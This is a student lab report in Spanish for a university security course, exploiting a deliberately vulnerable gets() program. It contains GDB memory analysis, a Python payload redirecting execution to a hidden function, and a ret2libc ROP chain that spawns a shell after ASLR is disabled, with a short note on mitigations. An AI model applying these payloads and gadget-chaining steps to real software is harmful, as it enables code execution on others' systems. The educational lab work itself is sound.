CC5327-1 Introducción a la Seguridad Computacional
Profesores: Alejandro Hevia A. y Eduardo Riveros Roca
Auxiliar: Sergio Rojas H.
Estudiantes: Andrés Calderón y Nicolás Arancibia

Laboratorio 3

Buffer Overflow

1. Ejercicios

1.1. Cantidad de bytes

Primero identificamos el inicio del buffer, para esto buscamos la instrucción `gets` realizando `disass vulnerable` y ponemos un *breakpoint* justo después de su ejecución para así obtener esta dirección de memoria:

```
(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   %rbp
   0x000000000040117b <+5>:     mov    %rsp,%rbp
   0x000000000040117e <+8>:     sub    $0x40,%rsp
   0x0000000000401182 <+12>:    lea    0xe7f(%rip),%rax        # 0x402008
   0x0000000000401189 <+19>:    mov    %rax,%rdi
   0x000000000040118c <+22>:    call   0x401060 <puts@plt>
   0x0000000000401191 <+27>:    lea    -0x40(%rbp),%rax
   0x0000000000401195 <+31>:    mov    %rax,%rdi
   0x0000000000401198 <+34>:    mov    $0x0,%eax
   0x000000000040119d <+39>:    call   0x401080 <gets@plt>
   0x00000000004011a2 <+44>:    lea    -0x40(%rbp),%rax
   0x00000000004011a6 <+48>:    mov    %rax,%rsi
   0x00000000004011a9 <+51>:    lea    0xe6e(%rip),%rax        # 0x40201e
   0x00000000004011b0 <+58>:    mov    %rax,%rdi
   0x00000000004011b3 <+61>:    mov    $0x0,%eax
   0x00000000004011b8 <+66>:    call   0x401070 <printf@plt>
   0x00000000004011bd <+71>:    nop
   0x00000000004011be <+72>:    leave
   0x00000000004011bf <+73>:    ret
End of assembler dump.
(gdb) break *0x00000000004011b8
Breakpoint 1 at 0x4011b8
```

Con el *breakpoint* puesto, hacemos *run* para ingresar un input, en este caso "a" y ejecutamos `x/40xg $rsp$` para identificar en que parte del *stack* se encuentra este espacio de memoria al buscar su valor en ascii, que corresponde al 61, obteniendo así 0x7fffffffdcc0:

```
(gdb) r
Starting program: /home/caldevm/Downloads/vuln.c/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Introduce tu mensaje:
a

Breakpoint 1, 0x00000000004011b8 in vulnerable ()
(gdb) x/40xg $rsp
0x7fffffffdcc0: 0x0000000000000061      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcf0: 0x0000000000000000      0x00007ffff7fe5af0
0x7fffffffdd00: 0x00007fffffffdd10      0x00000000004011ec
0x7fffffffdd10: 0x00007fffffffddb0      0x00007ffff7c2a1ca
0x7fffffffdd20: 0x00007fffffffdd60      0x00007fffffffde38
0x7fffffffdd30: 0x0000000100400040      0x00000000004011da
0x7fffffffdd40: 0x00007fffffffde38      0x2702803647f959ee
0x7fffffffdd50: 0x0000000000000001      0x0000000000000000
0x7fffffffdd60: 0x0000000000403e00      0x00007ffff7ffd000
0x7fffffffdd70: 0x2702803646d959ee      0x2702904cbf9b59ee
0x7fffffffdd80: 0x00007fff00000000      0x0000000000000000
0x7fffffffdd90: 0x0000000000000000      0x0000000000000001
0x7fffffffdda0: 0x00007fffffffde30      0x7697c872941e8f00
0x7fffffffddb0: 0x00007fffffffde10      0x00007ffff7c2a28b
0x7fffffffddc0: 0x00007fffffffde48      0x0000000000403e00
0x7fffffffddd0: 0x00007fffffffde48      0x00000000004011da
0x7fffffffdde0: 0x0000000000000000      0x0000000000000000
0x7fffffffddf0: 0x0000000000401090      0x00007fffffffde30
```

Adicionalmente, verificamos el espacio de memoria en la cual se tiene la dirección de retorno de la función que obtiene el string, la cual obtenemos realizando `disass main` y viendo la instrucción que le sigue a ejecutar `vulnerable`:

```
(gdb) disass main
Dump of assembler code for function main:
   0x00000000004011da <+0>:     endbr64
   0x00000000004011de <+4>:     push   %rbp
   0x00000000004011df <+5>:     mov    %rsp,%rbp
   0x00000000004011e2 <+8>:     mov    $0x0,%eax
   0x00000000004011e7 <+13>:    call   0x401176 <vulnerable>
   0x00000000004011ec <+18>:    mov    $0x0,%eax
   0x00000000004011f1 <+23>:    pop    %rbp
   0x00000000004011f2 <+24>:    ret
End of assembler dump.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdd10:
 rip = 0x4011b8 in vulnerable; saved rip = 0x4011ec
 called by frame at 0x7fffffffdd20
 Arglist at 0x7fffffffdd00, args:
 Locals at 0x7fffffffdd00, Previous frame's sp is 0x7fffffffdd10
 Saved registers:
  rbp at 0x7fffffffdd00, rip at 0x7fffffffdd08
```

De este modo vemos que corresponde a 0x7fffffffdd08, podemos verificar que esto es correcto ya que el rip at indica la misma dirección.

Finalmente, realizando la resta de estas direcciones obtenemos que la cantidad de bytes necesarios para sobreescribir esta dirección de memoria es de 72 bytes, a continuación lo verificamos ingresando un input de este tamaño, ingresando 72 veces el carácter "a":

```
caldevm@caldevm:~/Downloads/vuln.c$ ./vuln
Introduce tu mensaje:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Mensaje recibido: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaa
caldevm@caldevm:~/Downloads/vuln.c$ ./vuln
Introduce tu mensaje:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Mensaje recibido: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa
Segmentation fault (core dumped)
```

En el primer caso ingresamos 71 veces "a" lo cual no dió error, pero al ingresar 72 se obtuvo `Segmentation fault` como se esperaba.

1.2. Buffer Overflow a `secreto()`

Primero necesitamos averiguar la dirección de memoria de la función `secreto()`, para esto ejecutamos en GDB `info address secreto`, lo cual retorna:

```
(gdb) info address secreto
Symbol "secreto" is at 0x4011c0 in a file compiled without debugging.
```

Con esto logramos identificar la dirección de memoria de esta función que correspondería a 0x00000000004011c0.

Sabiendo que el espacio de memoria que ocupa `gets()` es de 72 bytes, necesitamos realizar un payload que consista de 72 carácteres cualesquiera, añadiendo la dirección de memoria al final de esta, notar que se debe dar vuelta ya que se utiliza little endian, por lo que utilizamos un script de python para generar dicho payload:

```python
import sys

secret_addr = b"\xc0\x11\x40\x00\x00\x00\x00\x00"

payload = b"a" * 72 + secret_addr

with open("payload2.txt", "wb") as f:
    f.write(payload)
```

Finalmente, ejecutamos el siguiente comando en GDB y obtenemos el resultado esperado:

```
(gdb) r < payload2.txt
Starting program: /home/caldevm/Downloads/vuln.c/vuln < payload2.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Introduce tu mensaje:
Mensaje recibido: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@
¡Lograste redirigir la ejecución!

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffdd01 in ?? ()
```

1.3. Shell interactiva

Obtenemos las direcciones de `system` y `exit`:

```
(gdb) start
Temporary breakpoint 1 at 0x4011e2
Starting program: /home/caldevm/Downloads/vuln.c/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Temporary breakpoint 1, 0x00000000004011e2 in main ()
(gdb) p system
$1 = {int (const char *)} 0x7ffff7c58750 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0x7ffff7c47ba0 <__GI_exit>
```

Para obtener la dirección de `/bin/sh` necesitamos la dirección relativa y absoluta de esta, primero revisamos la relativa de la siguiente forma:

```
caldevm@caldevm:~/Downloads/vuln.c$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 1cb42f /bin/sh
```

Y ahora obtenemos la dirección absoluta de la cadena de `/bin/sh` ejecutando `info proc mappings` en GDB:

```
(gdb) info proc mappings
process 10253
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
            0x400000           0x401000     0x1000        0x0  r--p   /home/caldevm/Downloads/vuln.c/vuln
            0x401000           0x402000     0x1000     0x1000  r-xp   /home/caldevm/Downloads/vuln.c/vuln
            0x402000           0x403000     0x1000     0x2000  r--p   /home/caldevm/Downloads/vuln.c/vuln
            0x403000           0x404000     0x1000     0x2000  r--p   /home/caldevm/Downloads/vuln.c/vuln
            0x404000           0x405000     0x1000     0x3000  rw-p   /home/caldevm/Downloads/vuln.c/vuln
      0x7ffff7c00000     0x7ffff7c28000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7c28000     0x7ffff7db0000   0x188000    0x28000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7db0000     0x7ffff7dff000    0x4f000   0x1b0000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7dff000     0x7ffff7e03000     0x4000   0x1fe000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e03000     0x7ffff7e05000     0x2000   0x202000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e05000     0x7ffff7e12000     0xd000        0x0  rw-p
      0x7ffff7fa8000     0x7ffff7fab000     0x3000        0x0  rw-p
      0x7ffff7fbd000     0x7ffff7fbf000     0x2000        0x0  rw-p
      0x7ffff7fbf000     0x7ffff7fc3000     0x4000        0x0  r--p   [vvar]
      0x7ffff7fc3000     0x7ffff7fc5000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7fc5000     0x7ffff7fc6000     0x1000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fc6000     0x7ffff7ff1000    0x2b000     0x1000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ff1000     0x7ffff7ffb000     0xa000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffb000     0x7ffff7ffd000     0x2000    0x36000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x38000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rwxp   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]
```

Con esto finalmente podemos obtener la dirección real realizando la suma de las direcciones 0x7ffff7c00000 y 0x1cb42f, resultando en 0x7ffff7dcb42f.

Esto es lo que pide el enunciado pero aparentemente hay distintos requerimentos para realizar este ataque en arquitecturas x64, por lo que se tuvo que realizar la siguiente serie de pasos para lograrlo:

Seguimos necesitando las direcciones de system y `/bin/sh` pero adicionalmente hay que encontrar dos direcciones nuevas, una de pop rdi en libc, y otra de ret en el ejecutable.

Para la de pop rdi en libc se ejecutó el siguiente comando en la terminal:

```
caldevm@caldevm:~/Downloads/vuln.c$ ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x000000000010f75b : pop rdi ; ret
```

Esto nos entrega un offset el cual debemos sumarlo a la dirección inicial de libc para obtener su dirección real, similar a como se hizo con `/bin/sh`, en este caso para 0x7ffff7c00000 y 0x10f75b, lo cual resulta en 0x7ffff7d0f75b.

Y para obtener la dirección de ret en el binario se ejecutó el siguiente comando:

```
caldevm@caldevm:~/Downloads/vuln.c$ ROPgadget --binary vuln | grep "ret"
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x00000000004010bc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x00000000004011ed : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401056 : add byte ptr [rax], al ; add cl, ch ; ret 0xffff
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010be : add byte ptr [rax], al ; endbr64 ; ret
0x00000000004011ef : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401159 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401058 : add cl, ch ; ret 0xffff
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2ecb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004010c3 : cli ; ret
0x00000000004011f7 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004010c0 : endbr64 ; ret
0x00000000004011be : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2ecb], 1 ; pop rbp ; ret
0x00000000004011ec : mov eax, 0 ; pop rbp ; ret
0x00000000004011bd : nop ; leave ; ret
0x00000000004011d7 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040115d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040105a : ret 0xffff
0x0000000000401158 : retf
0x0000000000401022 : retf 0x2f
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004010e8 : sub byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401155 ; nop ; ret
0x00000000004011f9 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011f8 : sub rsp, 8 ; add rsp, 8 ; ret
```

En este caso elegimos el que posee únicamente ret, es decir, 0x40101a.

De esta forma generamos el payload usando una versión modificada del script entregado:

```python
from struct import pack

offset = 72
poprdi = 0x7ffff7d0f75b
binsh = 0x7ffff7dcb42f
ret = 0x40101a
system = 0x7ffff7c58750

payload = b"a" * offset
payload += pack("<Q", poprdi)
payload += pack("<Q", binsh)
payload += pack("<Q", ret)
payload += pack("<Q", system)

with open("payload3.txt", "wb") as f:
    f.write(payload)
```

Teniendo el payload generado lo usamos en GDB y obtenemos lo siguiente:

```
(gdb) set follow-fork-mode child
(gdb) r < payload3.txt
Starting program: /home/caldevm/Downloads/vuln.c/vuln < payload3.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Introduce tu mensaje:
Mensaje recibido: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[????
[Attaching after Thread 0x7ffff7fa8740 (LWP 5996) vfork to child process 5999]
[New inferior 2 (process 5999)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 5996 after child exec]
[Inferior 1 (process 5996) detached]
process 5999 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7fa8740 (LWP 5999) vfork to child process 6000]
[New inferior 3 (process 6000)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 5999 after child exec]
[Inferior 2 (process 5999) detached]
process 6000 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 3 (process 6000) exited normally]
```

Como se puede ver, se crearon procesos hijos llamando a `/usr/bin/dash`, lo cual está correcto ya que `/bin/sh` es un symlink a este ejecutable, como se puede evidenciar en la siguiente imagen:

```
caldevm@caldevm:~/Downloads/vuln.c$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 May 29 20:49 /bin/sh -> dash
caldevm@caldevm:~/Downloads/vuln.c$ which dash
/usr/bin/dash
```

Ahora verificaremos que funciona intentando correrlo en la terminal, el único problema es que intentar hacerlo directamente solo entrega un Segmentation Fault, esto se debe a que por defecto está activado el ASLR (Address Space Layout Randomization), de modo que las direcciones inyectadas no serán iguales al ejecutarlo desde la terminal, por lo que desactivamos esto de la siguiente manera (después de terminar el ataque lo reactivamos usando un 2 en vez de 0 en el echo):

```
caldevm@caldevm:~/Downloads/vuln.c$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for caldevm:
0
```

Y por último, intentar ejecutar `./vuln < payload3.txt` también resultará en error, esto debido a que se cierra inmediatamente la shell interactiva ya que stdin se cierra automáticamente con dicho comando, por lo que usando una opción alternativa al comando anterior para lograr mantenerla abierta se obtiene lo esperado:

```
caldevm@caldevm:~/Downloads/vuln.c$ (cat payload3.txt; cat -) | ./vuln
Introduce tu mensaje:

Mensaje recibido: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[????


ls
genpayload.py  p2.py  payload2.txt  payload3.txt  vuln  vuln.c
```

1.4. Compilación

Las implicancias que tiene realizar la compilación siguiendo las indicaciones del enunciado tienen relación con la posibilidad de realizar un ataque por Buffer Overflow, paticularmente son las *flags* las que configuran la compilación tal que se realiza este ataque.

```
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
```

- ¿Qué realiza cada *flag* de la compilación?
  - -fno-stack-protector: Lo que hace esta *flag* es deshabilitar la protección del *stack* de memoria, lo que hace del código vulnerable a Buffer Overflow.
  - -z execstack: Esta *flag* permite ejecutar código en el *stack* de memoria.
  - -no-pie: Y por último esta *flag* deshabilita PIE en la compilación.
- ¿En qué se diferencia con la compilación normal que se realizaría?
  - -fno-stack-protector: De no usar esta *flag* no se produciría desbordamiento de pila por lo mencionado anteriormente.
  - -z execstack: Sin esta *flag* no sería posible ejecutar el *shell script* que se inyecta al *stack* de memoria.
  - -no-pie: Al no usar esta *flag* se le permite al código poder ejecutarse en cualquier dirección de memoria, agregándole una capa de seguridad a la ejecución del código.
- Mitigaciones:
  - fgets(): El uso de fgets en vez de gets haría del código mucho más seguro, porque el primero, a diferencia de gets, se le pasa el largo del string a leer, de modo que es capaz de realizar un chequeo de los límites que debe ocupar, evitando así la sobre escritura en la pila.